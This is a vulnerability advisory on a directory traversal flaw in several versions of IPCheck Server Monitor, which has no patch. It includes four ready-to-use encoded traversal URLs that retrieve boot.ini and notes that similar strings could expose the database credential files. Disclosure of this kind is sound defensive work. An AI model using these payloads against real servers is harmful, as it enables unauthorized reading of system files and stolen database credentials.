Directory Traversal vulnerability in IPCheck Monitor Server
Directory Traversal vulnerability in IPCheck Monitor Server
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Overview
A directory traversal vulnerability has been identified in IPCheck Server
Monitor Free/Trial/Professional, which may be exploited by potential attackers
to retrieve files from the underlying OS.
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Description
An input validation error in the user supplied URL makes it possible to
retrieve files from the system root drive via directory traversal attacks using
typical hex Unicode and double decode directory traversal strings.
Examples:
http://[host]:8080/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://[IPAddress]/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://[IP
address]/images../..../..../..../..../..../..../..../..../..../..../..../boot.ini
http://[IP address]/images/..%255c../..%255c../..%255c../..%255c../boot.ini
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Affected Versions
IPCheck Server Monitor 4.3.1.368
IPCheck Server Monitor 4.3.1.382
IPCheck Server Monitor 5.1.0.342
IPCheck Server Monitor 5.2.0.404
IPCheck Server Monitor 5.3.0.508
IPCheck Server Monitor 5.3.2.609 (Current)
(Tested on Microsoft Windows server 2003 platform, other platforms maybe
affected also).
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Impact
This particular URL presents the systems boot.ini file located on the root of
the system drive. A similar series of strings could also be used by an attacker
to access the configuration files of the firebird database which contain the
username and password used to access the database.
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Solution
The vendor of this product has been contacted to inform them of this
vulnerability but no patch or update has been released since the first
vulnerable version tested (4.3.1.368).
Tassi Raeburn
Independent Vulnerability Tester